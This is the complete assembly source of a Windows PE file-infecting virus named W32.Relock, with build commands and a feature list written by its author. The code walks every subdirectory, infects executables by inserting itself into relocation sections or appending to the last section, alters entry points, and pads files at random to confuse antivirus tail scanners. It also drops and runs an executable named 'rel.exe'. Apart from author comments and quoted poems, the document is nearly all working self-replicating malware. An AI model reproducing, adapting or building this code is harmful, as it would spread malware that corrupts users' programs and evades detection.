Win32.Relock
roy g biv / defjam
comment ;) W32.Relock by roy g biv some of its features: - parasitic resident (own process) infector of PE exe (but not looking at suffix) - infects files in current directory and all subdirectories - directory traversal is linked-list instead of recursive to reduce stack size - reloc section inserter/last section appender - weird EPO (entry point is altered but no replication happens there) - uses CRCs instead of API names - uses SEH for common code exit - section attributes are never altered (virus is not self-modifying) - no infect files with data outside of image (eg self-extractors) - no infect files protected by SFC/SFP (including under Windows XP) - infected files are padded by random amounts to confuse tail scanners - uses SEH walker to find kernel address (no hard-coded addresses) - correct file checksum without using imagehlp.dll :) 100% correct algorithm yes, just a W32.OU812 remake that infects in a slightly different way --- optimisation tip: Windows appends ".dll" automatically, so this works: push "cfs" push esp call LoadLibraryA --- to build this thing: tasm ---- tasm32 /ml /m3 relock tlink32 /B:400000 /x relock,,,import32 Virus is not self-modifying, so no need to alter section attributes --- We're in the middle of a phase transition: a butterfly flapping its wings at just the right moment could cause a storm to happen. -I'm trying to understand- I'm at a moment in my life- I don't know where to flap my wings. (Danny Hillis) (; .386 .model flat extern MessageBoxA:proc extern ExitProcess:proc .data include relock.inc dropper label near mov edx, krncrc_count mov ebx, offset krnnames mov edi, offset krncrcbegin call create_crcs mov edx, 1 mov ebx, offset sfcnames mov edi, offset sfccrcbegin call create_crcs mov edx, dllcrc_count mov ebx, offset dllnames mov edi, offset dllcrcbegin call create_crcs mov esi, offset relock_codeend - offset relock_inf push esi mov ebx, esp fld1 fild dword ptr [ebx] fyl2x fistp dword ptr [ebx] pop ecx inc ecx push 1 pop eax shl eax, cl dec eax mov dword ptr [offset codesize_patch + 1], eax jmp relock_execode ;----------------------------------------------------------------------------- ;everything before this point is dropper code ;----------------------------------------------------------------------------- ;----------------------------------------------------------------------------- ;main virus body. everything happens in here ;----------------------------------------------------------------------------- relock_inf proc near xor eax, eax push dword ptr fs:[eax] mov dword ptr fs:[eax], esp enter (size findlist - 5) and -4, 0 ;Windows NT/2000/XP enables alignment check exception ;so some APIs fail if buffer is not dword aligned ;-5 to align at 2 dwords earlier ;because EBP saved automatically ;and other register saved next push eax ;zero findprev in findlist call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- krncrcbegin label near dd (krncrc_count + 1) dup (0) ;----------------------------------------------------------------------------- ;get SFC support if available ;----------------------------------------------------------------------------- call load_sfc db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll) db "RELOCk - roy g biv" ;to boldly go where no code has gone before load_sfc label near call dword ptr [esp + krncrcstk.kLoadLibraryA] test eax, eax jne found_sfc push 'cfs' ;Windows 2000 push esp call dword ptr [esp + 4 + krncrcstk.kLoadLibraryA] pop ecx test eax, eax je sfcapi_push found_sfc label near inc eax xchg edi, eax call find_mzhdr ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- sfccrcbegin label near dd 0, 0 pop eax sfcapi_push label near push eax mov ebp, esp lea esi, dword ptr [ebp + size krncrcstk] ;----------------------------------------------------------------------------- ;non-recursive directory traverser ;----------------------------------------------------------------------------- scan_dir proc near ;ebp -> platform APIs, esi -> findlist push '*' ;ANSI-compatible Unicode findmask mov eax, esp lea ebx, dword ptr [esi + findlist.finddata] push ebx push eax call dword ptr [ebp + krncrcstk.kFindFirstFileW] pop ecx mov dword ptr [esi + findlist.findhand], eax inc eax je find_prev ;you must always step forward from where you stand test_dirfile label near mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes] lea edi, dword ptr [esi + findlist.finddata.cFileName] test al, FILE_ATTRIBUTE_DIRECTORY je test_file cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP) je find_next ;----------------------------------------------------------------------------- ;enter subdirectory, and allocate another list node ;----------------------------------------------------------------------------- push edi call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW] xchg ecx, eax jecxz find_next push size findlist push GMEM_FIXED call dword ptr [esp + krncrcstk.kGlobalAlloc + 8] xchg ecx, eax jecxz step_updir xchg esi, ecx mov dword ptr [esi + findlist.findprev], ecx jmp scan_dir find_next label near lea ebx, dword ptr [esi + findlist.finddata] push ebx mov edi, dword ptr [esi + findlist.findhand] push edi call dword ptr [ebp + krncrcstk.kFindNextFileW] test eax, eax jne test_dirfile ;----------------------------------------------------------------------------- ;close find, and free list node if not list head ;----------------------------------------------------------------------------- mov ebx, esp push edi call dword ptr [ebx + krncrcstk.kFindClose] find_prev label near mov ecx, dword ptr [esi + findlist.findprev] jecxz relock_exit push esi mov esi, ecx call dword ptr [ebx + krncrcstk.kGlobalFree] step_updir label near ;----------------------------------------------------------------------------- ;the ANSI string ".." can be used, even on Unicode platforms ;----------------------------------------------------------------------------- push '..' org $ - 1 ;select top 8 bits of push relock_exit label near int 3 ;game over push esp call dword ptr [ebx + krncrcstk.kSetCurrentDirectoryA] pop eax jmp find_next test_file label near ;----------------------------------------------------------------------------- ;get full path ;----------------------------------------------------------------------------- push eax ;save original file attributes for close mov eax, ebp enter MAX_PATH * 2, 0 mov ecx, esp push eax push esp push ecx push MAX_PATH push edi call dword ptr [eax + krncrcstk.kGetFullPathNameW] xchg edi, eax pop eax xor ebx, ebx ;----------------------------------------------------------------------------- ;don't touch protected files ;----------------------------------------------------------------------------- mov ecx, dword ptr [ebp + 8 + krncrcstk.kSfcIsFileProtected] xor eax, eax ;fake success in case of no SFC jecxz leave_sfc push esp push ebx call ecx leave_sfc label near leave test eax, eax jne restore_attr call set_fileattr push ebx push ebx push OPEN_EXISTING push ebx push ebx push GENERIC_READ or GENERIC_WRITE push edi call dword ptr [ebp + krncrcstk.kCreateFileW] xchg ebx, eax call test_infect db 81h ;mask CALL call infect_file ;Super Nashwan power ;) lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime] push eax sub eax, 8 push eax push 0 push ebx call dword ptr [esp + 4 + krncrcstk.kSetFileTime + 10h] push ebx call dword ptr [esp + 4 + krncrcstk.kCloseHandle + 4] restore_attr label near pop ebx ;restore original file attributes call set_fileattr jmp find_next scan_dir endp init_findmz label near xor esi, esi lods dword ptr fs:[esi] inc eax walk_seh label near dec eax xchg esi, eax lods dword ptr [esi] inc eax jne walk_seh mov edi, dword ptr [esi] find_mzhdr label near ;----------------------------------------------------------------------------- ;do not use hard-coded kernel address values because it is not portable ;Microsoft used all different values for 95, 98, NT, 2000, Me, XP ;they will maybe change again for every new release ;----------------------------------------------------------------------------- dec edi ;sub 64kb xor di, di ;64kb align call is_pehdr jne find_mzhdr mov ebx, edi pop edi ;----------------------------------------------------------------------------- ;parse export table ;----------------------------------------------------------------------------- mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff] lea esi, dword ptr [ebx + esi + peexp.expadrrva] lods dword ptr [esi] ;Export Address Table RVA lea edx, dword ptr [ebx + eax] lods dword ptr [esi] ;Name Pointer Table RVA lea ecx, dword ptr [ebx + eax] lods dword ptr [esi] ;Ordinal Table RVA lea ebp, dword ptr [ebx + eax] mov esi, ecx push_export label near push ecx get_export label near lods dword ptr [esi] push ebx add ebx, eax ;Name Pointer VA or eax, -1 crc_outer label near xor al, byte ptr [ebx] push 8 pop ecx crc_inner label near add eax, eax jnb crc_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) crc_skip label near loop crc_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb crc_outer pop ebx cmp dword ptr [edi], eax jne get_export ;----------------------------------------------------------------------------- ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail ;this allows to push addresses onto the stack, and the order is known ;----------------------------------------------------------------------------- pop ecx mov eax, esi sub eax, ecx ;Name Pointer Table VA shr eax, 1 movzx eax, word ptr [ebp + eax - 2] ;get export ordinal mov eax, dword ptr [eax * 4 + edx] ;get export RVA add eax, ebx push eax scas dword ptr [edi] cmp dword ptr [edi], 0 jne push_export scas dword ptr [edi] jmp edi ;----------------------------------------------------------------------------- ;look for MZ and PE file signatures ;----------------------------------------------------------------------------- is_pehdr proc near ;edi -> map view cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ' jne pehdr_ret mov esi, dword ptr [edi + mzhdr.mzlfanew] add esi, edi lods dword ptr [esi] ;SEH protects against bad lfanew value add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX pehdr_ret label near ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set is_pehdr endp ;----------------------------------------------------------------------------- ;reset/set read-only file attribute ;----------------------------------------------------------------------------- set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs push ebx lea edi, dword ptr [esi + findlist.finddata.cFileName] push edi call dword ptr [ebp + krncrcstk.kSetFileAttributesW] ret ;edi -> filename db "29/10/07" ;welcome to the future set_fileattr endp ;----------------------------------------------------------------------------- ;test if file is infectable (not protected, PE, x86, non-system, not infected, etc) ;----------------------------------------------------------------------------- test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs call map_view mov ebp, esi call is_pehdr jne inftest_ret lods dword ptr [esi] cmp ax, IMAGE_FILE_MACHINE_I386 jne inftest_ret ;only Intel 386+ shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8 lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect) mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate] ;----------------------------------------------------------------------------- ;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them ;no .dll files this time ;----------------------------------------------------------------------------- test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_DLL or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8 jne inftest_ret add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate lods dword ptr [esi] xchg ecx, eax ;----------------------------------------------------------------------------- ;32-bit executable file... ;----------------------------------------------------------------------------- and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE jne inftest_ret ;cannot use xor+jpo because 0 is also jpe ;----------------------------------------------------------------------------- ;the COFF magic value is not checked because Windows ignores it anyway ;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+ ;----------------------------------------------------------------------------- mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase] cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI jnbe inftest_ret cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0 jb inftest_ret shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h jb inftest_ret ;----------------------------------------------------------------------------- ;avoid files which seem to contain attribute certificates ;because one of those certificates might be a digital signature ;----------------------------------------------------------------------------- cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], eax jnbe inftest_ret ;----------------------------------------------------------------------------- ;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size ;the Optional Header can be larger than the offset of the last directory ;remember: even if you have not seen it does not mean that it does not happen :) ;----------------------------------------------------------------------------- movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase] add eax, edx mov ebx, dword ptr [esi + pehdr.pefilealign - pehdr.pecodebase] mov edx, dword ptr [esi + pehdr.peimagebase - pehdr.pecodebase] lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize] lods dword ptr [esi] add eax, dword ptr [esi] cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax jne inftest_ret ;file contains appended data add dword ptr [ebp + findlist.finddata.dwFileSizeLow], ebx inc dword ptr [esp + mapsehstk.mapsehinfret] ;skip call mask inftest_ret label near int 3 ;----------------------------------------------------------------------------- ;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes) ;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged ;----------------------------------------------------------------------------- open_append proc near call dword ptr [esp + size mapstack - 4 + krncrcstk.kGetTickCount] and eax, RANDPADMAX - 1 add ax, small (offset relock_codeend - offset relock_inf + RANDPADMIN) ;----------------------------------------------------------------------------- ;create file map, and map view if successful ;----------------------------------------------------------------------------- map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs cdq add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow] push eax mov ecx, esp push eax ;MapViewOfFile push edx ;MapViewOfFile push edx ;MapViewOfFile push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS push edx push eax push edx push PAGE_READWRITE push edx push ebx call dword ptr [ecx + size mapstack + krncrcstk.kCreateFileMappingA] ;ANSI map is allowed because of no name push eax xchg edi, eax call dword ptr [esp + size mapstack + krncrcstk.kMapViewOfFile + 14h] pop ecx xchg edi, eax ;should succeed even if file cannot be opened pushad call unmap_seh pop eax pop eax pop esp xor eax, eax pop dword ptr fs:[eax] pop eax popad ;SEH destroys all registers push eax push edi call dword ptr [esp + size mapstack + krncrcstk.kUnmapViewOfFile + 4] call dword ptr [esp + size mapstack + krncrcstk.kCloseHandle] pop eax ret unmap_seh proc near cdq push dword ptr fs:[edx] mov dword ptr fs:[edx], esp jmp dword ptr [esp + mapsehstk.mapsehsehret] unmap_seh endp map_view endp ;eax = map handle, ecx = new file size, edi = map view open_append endp ;----------------------------------------------------------------------------- ;infect file in two parts ;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX ; bytes) to confuse scanners that look at end of file (also ; infection marker) ; if reloc table is not in last section (taken from relocation ; field in PE header, not section name), then append to last ; section. otherwise, move relocs down and insert code into ; space (to confuse people looking at end of file. they will ; see only relocation data and garbage or many zeroes) ; entry point is altered to point to some code. very simple ; however, that code just drops exe and returns ;----------------------------------------------------------------------------- infect_file label near ;esi -> findlist, edi = map view call open_append push ecx push edi mov ebx, dword ptr [edi + mzhdr.mzlfanew] lea ebx, dword ptr [ebx + edi + pehdr.pechksum] xor ecx, ecx imul cx, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum], size pesect add cx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum] lea esi, dword ptr [ebx + ecx + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize] lods dword ptr [esi] mov cx, offset relock_codeend - offset relock_inf mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum] push eax add eax, ecx dec edx add eax, edx not edx and eax, edx ;file align last section mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax ;----------------------------------------------------------------------------- ;raw size is file aligned. virtual size is not required to be section aligned ;so if old virtual size is larger than new raw size, then size of image does ;not need to be updated, else virtual size must be large enough to cover the ;new code, and size of image is section aligned ;----------------------------------------------------------------------------- mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr] cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax jnb test_reloff mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax add eax, ebp mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum] dec edx add eax, edx not edx and eax, edx mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax ;----------------------------------------------------------------------------- ;if relocation table is not in last section, then append to last section ;otherwise, move relocations down and insert code into space ;----------------------------------------------------------------------------- test_reloff label near test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED jne copy_code cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp jb copy_code mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr] add eax, ebp cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax jnb copy_code add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx pop eax push esi add edi, dword ptr [esi] lea esi, dword ptr [edi + eax - 1] lea edi, dword ptr [esi + ecx] xchg ecx, eax std rep movs byte ptr [edi], byte ptr [esi] cld pop esi pop edi push edi push ecx xchg ecx, eax copy_code label near pop edx add ebp, edx add edx, dword ptr [esi] add edi, edx ;----------------------------------------------------------------------------- ;section attributes are always altered to executable because for Windows XP SP2 ;you can remove that bit, if you want, but we need the writable bit for RNG ;----------------------------------------------------------------------------- or byte ptr [esi + pesect.sectflags - pesect.sectrawaddr + 3], (IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE) shr 18h mov esi, 14000h rep movs byte ptr [edi], byte ptr [esi] ;----------------------------------------------------------------------------- ;alter entry point ;----------------------------------------------------------------------------- add ebp, offset relock_execode - offset relock_inf xchg dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum], ebp add ebp, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum] mov dword ptr [edi + offset host_patch - offset relock_codeend + 1], ebp pop edi ;----------------------------------------------------------------------------- ;CheckSumMappedFile() - simply sum of all words in file, then adc filesize ;----------------------------------------------------------------------------- xchg dword ptr [ebx], ecx jecxz infect_ret cdq pop ecx push ecx inc ecx shr ecx, 1 clc calc_checksum label near adc dx, word ptr [edi] inc edi inc edi loop calc_checksum pop dword ptr [ebx] adc dword ptr [ebx], edx ;avoid common bug. ADC not ADD infect_ret label near int 3 ;common exit using SEH db "*4U2NV*" ;that is, unless you're reading this test_infect endp ;----------------------------------------------------------------------------- ;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura ;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence ;asm port and size optimise by rgb in 2002 ;----------------------------------------------------------------------------- randinit proc near ;eax = seed, ecx = 0, edi -> RNG cache pushad push edi or eax, 1 mov ecx, statelen init_loop label near stos dword ptr [edi] mov edx, 69069 mul edx ;Knuth label near x_new = x_old * 69069 loop init_loop inc ecx ;force reload call initdelta initdelta label near pop edi add edi, offset randvars - offset initdelta xchg ecx, eax stos dword ptr [edi] pop eax stos dword ptr [edi] stos dword ptr [edi] popad ret randinit endp random proc near pushad call randelta randvars label near db 'rgb!' ;numbers left db 'rgb!' ;next pointer db 'rgb!' ;state pointer randelta label near pop esi push esi lods dword ptr [esi] xchg ecx, eax lods dword ptr [esi] xchg esi, eax loop random_ret mov cx, statelen - period mov esi, dword ptr [eax] lea ebx, dword ptr [esi + (period * 4)] mov edi, esi push esi lods dword ptr [esi] xchg edx, eax call twist pop ebx mov cx, period - 1 push ecx push ebx call twist pop esi push esi inc ecx call twist xchg edx, eax pop esi pop ecx inc ecx random_ret label near lods dword ptr [esi] mov edx, eax shr eax, tshiftU xor eax, edx mov edx, eax shl eax, tshiftS and eax, tmaskB xor eax, edx mov edx, eax shl eax, tshiftT and eax, tmaskC xor eax, edx mov edx, eax shr eax, tshiftL xor eax, edx pop edi mov dword ptr [esp + 1ch], eax ;eax in pushad xchg ecx, eax stos dword ptr [edi] xchg esi, eax stos dword ptr [edi] popad ret random endp twist proc near lods dword ptr [esi] push eax add eax, eax ;remove highest bit add edx, edx ;test highest bit rcr eax, 2 ;merge bits and test lowest bit jnb twist_skip ;remove branch but larger using label near xor eax, matrixA ;sbb edx, edx+and edx, matrixA+xor eax, edx twist_skip label near xor eax, dword ptr [ebx] add ebx, 4 stos dword ptr [edi] pop edx loop twist ret twist endp ;When last comes to last, ; I have little power: ; I am merely an urn. ;I hold the bone-sap of myself, ; And watch the marrow burn. ; ;When last comes to last, ; I have little strength: ; I am only a tool. ;I work its work; and in its hands ; I am the fool. ; ;When last comes to last, ; I have little life. ; I am simply a deed: ;an action done while courage holds: ; A seed. ;(Stephen Donaldson) relock_execode proc near host_patch label near push offset do_message ;replaced dynamically pushad call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- dllcrcbegin label near ;place < 80h bytes from call for smaller code dd (dllcrc_count + 1) dup (0) mov ebx, esp call dword ptr [ebx + dllcrcstk.dGetTickCount] enter (statelen + 1) shl 2, 0 ;RNG cache mov edi, esp call randinit push offset relock_codeend - offset relock_inf push GMEM_ZEROINIT call dword ptr [ebx + dllcrcstk.dGlobalAlloc] push eax push ((offset relock_codeend - offset relock_inf) * 255 * 2) + exesize push GMEM_ZEROINIT xchg esi, eax call dword ptr [ebx + dllcrcstk.dGlobalAlloc] push eax push esi call skip_exe dd 11111110010011000101110000110001b ; mmmmmmmz 04mmz 02mmmz 01mz 02 db 'M', 'Z', 'e', 's', '.', 'd', 'l', 'l', 'P', 'E', 4ch, 1, 2, 2 dd 00001110011010000111111000101010b ; z 01mmz 06mz 01mmmmmz 02mz 08 db 26h, 60h, 6ch, 2, 3, 0bh, 1, 6, 80h dd 00011100110101000100011101010101b ; z 03mz 06mz 08mz 03mz 0amz 08 db 40h, 0ch, 10h, 2, 5 dd 00011100111101111010001010111101b ; z 03mz 07mz 0fz 08mz 0bmmz 08 db 0e0h, 2, 6, 8, 60h dd 00011100011101110110100110110110b ; z 03mz 03mz 0emmz 09mz 0dm db 50h, 10h, 0deh, 60h, 0e0h, 60h dd 00110101111000111001100000000000b ; z 06mz 0fz 03mz 06 db 1, 40h dd 0 exesize equ 0e6h ;RLE-based compressed MZ header, PE header, section table, relocation table ;decompressed data follow ; db 'M', 'Z' ;00 ; db "es.dll", 0 ;02 dll name ; db 3 dup (0) ;09 align 4 ; db 'P', 'E', 0, 0 ;0c 00 signature (overload for import lookup table rva) ; dw 14ch ;10 04 machine (overload for import lookup table RVA and date/time stamp) ; dw 2 ;12 06 number of sections ; dd 2 ;14 08 date/time stamp (overload for dll name rva) ; dd 6026h ;18 0c pointer to symbol table (overload for import address table rva) ; dd 0 ;1c 10 number of symbols ; dw 6ch ;20 14 size of optional header ; dw 302h ;22 16 characteristics ; dw 10bh ;24 18 magic ; dd 80000006h ;26 1a major linker, minor linker, size of code (overload for import name table) ; dd 0 ;2a 1e size of code, size of init data (overload for import name table terminator) ; dw 0 ;2e 22 size of init data ; dd 0 ;30 24 size of uninit data ; dd 4000h ;34 28 entry point ; dd 0 ;38 2c base of code ; dd 0ch ;3c 30 base of data (overload for lfanew) ; dd 0 ;40 34 image base ; dd 1000h ;44 38 section align ; dd 200h ;48 3c file align ; dw 0 ;4c 40 major os ; dw 0 ;4e 42 minor os ; dw 0 ;50 44 major image ; dw 0 ;52 46 minor image ; dw 5 ;54 48 major subsys ; dw 0 ;56 4a minor subsys ; dd 0 ;58 4c reserved ; dd (aligned size of code) ;5c 50 size of image ; dd exesize - 6 ;60 54 size of headers ; dd 0 ;64 58 checksum ; dw 2 ;68 5c subsystem ; dw 0 ;6a 5e dll characteristics ; dd 0 ;6c 60 size of stack reserve ; dd 0 ;70 64 size of stack commit ; dd 0 ;74 68 size of heap reserve ; dd 0 ;78 6c size of heap commit ; dd 0 ;7c 70 loader flags ; dd 6 ;80 74 number of rva and sizes ; dd 0 ;84 78 export ; dd 0 ;88 7c export ; dd 6008h ;8c 80 import ; dd 0 ;90 84 import (overload for section name) ; dd 0 ;94 88 resource (overload for section name) ; dd 5000h ;98 8c resource (overload for virtual size) ; dd 1000h ;9c 90 exception (overload for virtual address) ; dd 0 ;a0 94 exception (overload for file size) ; dd 0 ;a4 98 certificate (overload for file offset) ; dd 0 ;a8 9c certificate (overload for pointer to relocs) ; dd 60deh ;ac a0 base reloc (overload for pointer to line numbers) ; dd reloc size ;b0 a4 base reloc (overload for reloc table and line numbers) ; dd 0e0000000h ;b4 a8 debug (overload for section characteristics) ; dd 0 ;b8 ac debug (overload for section name) ; dd 0 ;bc b0 architecture (overload for section name) ; dd 0 ;c0 b4 architecture (overload for virtual size) ; dd 6000h ;c4 b8 global data (overload for virtual address) ; dd section size ;c8 bc global data (overload for file size) ; dd 1 ;cc c0 tls (overload for file offset) ; dd 0 ;d0 c4 tls (overload for pointer to relocs) ; dd 0 ;d4 c8 load config (overload for pointer to line numbers) ; dd 0 ;d8 cc load config (overload for reloc table and line numbers) ; dd 40000000h ;dc d0 bound imports (overload for section characteristics, reloc page rva) ; dw 0 ;e0 d4 bound imports (overload for reloc page rva) ; dd reloc size ;e2 d6 iat (overload for reloc block size) ; ;e6 skip_exe label near pop esi xchg edi, eax xor ecx, ecx cdq ;----------------------------------------------------------------------------- ;decompress dll MZ header, PE header, section table, relocation table ;----------------------------------------------------------------------------- lods dword ptr [esi] copy_bytes label near movs byte ptr [edi], byte ptr [esi] test_bits label near add eax, eax jb copy_bytes shld ecx, eax, 4 shl eax, 4 xchg edx, eax rep stos byte ptr [edi] xchg edx, eax jne test_bits lods dword ptr [esi] test eax, eax jne test_bits lea eax, dword ptr [esi + offset relock_inf - offset skip_exe] xchg ebx, eax pop esi push edi mov edi, offset relock_codeend - offset relock_inf push edi push GMEM_ZEROINIT call dword ptr [eax + dllcrcstk.dGlobalAlloc] xchg edi, eax xchg ecx, eax xchg esi, ebx lea ebp, dword ptr [ecx + 1] push ecx push edi rep movs byte ptr [edi], byte ptr [esi] xchg ecx, eax pop esi pop ecx mov edi, esi count_zero label near dec ebp repne scasb je count_zero pop edi push esi get_codebits label near call random codesize_patch label near and eax, '!bgr' cmp eax, offset relock_codeend - offset relock_inf jnb get_codebits cmp byte ptr [esi + eax], 0 je get_codebits mov edx, eax add ah, 10h stos word ptr [edi] dec byte ptr [esi + edx] jne skip_relhigh dec ebp skip_relhigh label near inc byte ptr [ebx + edx] call random and al, 1 je skip_mips32 cmp edx, offset relock_codeend - offset relock_inf - 3 jnb skip_mips32 cmp byte ptr [esi + edx + 1], 40h jb skip_mips32 mov ecx, dword ptr [ebx + edx] xor cl, cl inc ecx loop skip_mips32 mov eax, edx add ah, 50h stos word ptr [edi] sub byte ptr [esi + edx + 1], 40h jne skip_mips32 dec ebp skip_mips32 label near call random and al, 1 je skip_mips64 and dl, 0f0h cmp edx, offset relock_codeend - offset relock_inf - 0fh jnb skip_mips64 cmp byte ptr [esi + edx + 0dh], 20h jb skip_mips64 mov ecx, dword ptr [ebx + edx + 5] or cx, word ptr [ebx + edx + 9] or ecx, dword ptr [ebx + edx + 0ch] inc ecx loop skip_mips64 mov eax, edx add ah, 90h stos word ptr [edi] sub byte ptr [esi + edx + 0dh], 20h jne skip_mips64 dec ebp skip_mips64 label near test ebp, ebp jne get_codebits xchg ebp, eax stos byte ptr [edi] lea ebx, dword ptr [esp + ((statelen + 1) shl 2) + 10h] call dword ptr [ebx + dllcrcstk.dGlobalFree] pop esi push esi push eax push eax push CREATE_ALWAYS push eax push eax push GENERIC_WRITE call skip_name db "rel.exe", 0 skip_name label near pop ebp push ebp call dword ptr [ebx + dllcrcstk.dCreateFileA] push eax push eax push esp sub edi, esi push edi push esi push eax lea eax, dword ptr [edi + 6fffh] and eax, not 0fffh mov dword ptr [esi + 5ch], eax dec edi mov dword ptr [esi + 0c8h], edi sub edi, 0deh mov dword ptr [esi + 0b0h], edi mov dword ptr [esi + 0e2h], edi call dword ptr [ebx + dllcrcstk.dWriteFile] call dword ptr [ebx + dllcrcstk.dCloseHandle] call dword ptr [ebx + dllcrcstk.dGlobalFree] call dword ptr [ebx + dllcrcstk.dGlobalFree] push eax push ebp call dword ptr [ebx + dllcrcstk.dWinExec] lea esp, dword ptr [ebx + size dllcrcstk] popad ret relock_codeend label near relock_execode endp relock_inf endp create_crcs proc near or eax, -1 create_outer label near xor al, byte ptr [ebx] push 8 pop ecx create_inner label near add eax, eax jnb create_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) create_skip label near loop create_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb create_outer stos dword ptr [edi] dec edx jne create_crcs ret create_crcs endp do_message label near xor ebx, ebx push ebx push offset txttitle push offset txtbody push ebx call MessageBoxA push ebx call ExitProcess ;must be alphabetical order ;API names are not present in replications, only in dropper krnnames db "CloseHandle" , 0 db "CreateFileMappingA" , 0 db "CreateFileW" , 0 db "FindClose" , 0 db "FindFirstFileW" , 0 db "FindNextFileW" , 0 db "GetFullPathNameW" , 0 db "GetTickCount" , 0 db "GlobalAlloc" , 0 db "GlobalFree" , 0 db "LoadLibraryA" , 0 db "MapViewOfFile" , 0 db "MultiByteToWideChar" , 0 db "SetCurrentDirectoryA", 0 db "SetCurrentDirectoryW", 0 db "SetFileAttributesW" , 0 db "SetFileTime" , 0 db "Sleep" , 0 db "UnmapViewOfFile" , 0 sfcnames db "SfcIsFileProtected", 0 dllnames db "CloseHandle" , 0 db "CreateFileA" , 0 db "GetTickCount" , 0 db "GlobalAlloc" , 0 db "GlobalFree" , 0 db "WinExec" , 0 db "WriteFile" , 0 txttitle db "RELOCk", 0 txtbody db "running...", 0 .code db 4000h dup (?) end dropper